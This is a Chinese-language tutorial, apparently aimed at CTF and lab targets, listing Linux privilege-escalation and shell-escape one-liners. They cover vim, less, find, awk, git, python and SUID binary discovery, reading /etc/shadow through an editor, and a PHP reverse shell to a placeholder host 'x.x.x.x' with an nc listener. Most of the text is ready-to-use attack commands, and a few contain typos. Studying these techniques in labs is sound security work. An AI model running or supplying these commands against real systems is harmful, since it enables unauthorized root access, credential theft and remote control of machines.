当我们通过某种手段得到目标shell的普通用户权限时,为了可以获取更多信息或者控制某些系统提升权限无可厚非是一定要做的。
常用手段
1.vim编辑器
原来用了这么久的vim是允许我们运行脚本和命令的(一直以来都用来写脚本改文件)
在我们进行退出的时候不妨停下来试试执行一些系统命令
!/bin/ls -l f* 执行ls找找flag?
set shell=/bin/sh
shell
or 使用另一个shell
!/bin/sh
2.ne编辑器
这个没用过不过很好用,利用他的菜单选项下的prefs中的load prefs我们可以遍历文件路径甚至打开它。比如我们使用它随便编辑一个文件然后我们遍历到/etc/passwd和/etc/shadow读取文件,可以想象有多省事。
2.pager命令
可以看这个又不是很懂这是什么了,不过说到more和less相信大家就明白了
我们用less查看文件然后输入!'sh' or !'ls',emmm....太骚了吧
ps:这种方式通过于man手册,推测man也是用less显示命令信息的
3.find命令
查找文件可以用它,那执行命令。。。。
-exec:这个子命令可以让我们执行命令
find flag.txt -exec whoami \;
4.export
这个没什么好说的,问就是加环境变量
export PATH=/usr/sbin:/usr/bin:/sbin:/bin
5.awk
我的理解是一个处理文本的语言,也很简单一行代码的事(当然这里就讲用于提权的使用)
awk 'BEGIN {system("/bin/sh")'
6.python|php
世界上最好的语言跟最美的语言
python -c 'import os; os.system("/bin/sh")' | python -c 'import pty;pty.spawn("/bin/sh")'
php -r 'sock=fsockopen('x.x.x.x',5000);exec("/bin/sh -i <&3 >&3 2>&3");' 靶机
nc-lvp 5000 攻击机
7.SUID
这个就不做多余解释了,如果不知道suid是什么???请过来挨打然后好好回去看看。
查看suid可执行文件(三种方法,对应不同系统都试过去)
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
比如发现find的suid权限
ls -lh /usr/bin/find
利用方式
/usr/bin/find flag.txt -exec whoami \;
8.git
这个是靶机知道的,也是用sudo -l查看可用的root命令,然后git有个选项-p | --paginate以分页展示git帮助信息,它默认以more的形式展示
git -p help 分页查看help然后执行。。。(你懂的)
or
git help config
靶机学到的:
BASH_CMDS[A]=/bin/sh;A
/bin/bash
export PATH=$PATH:/bin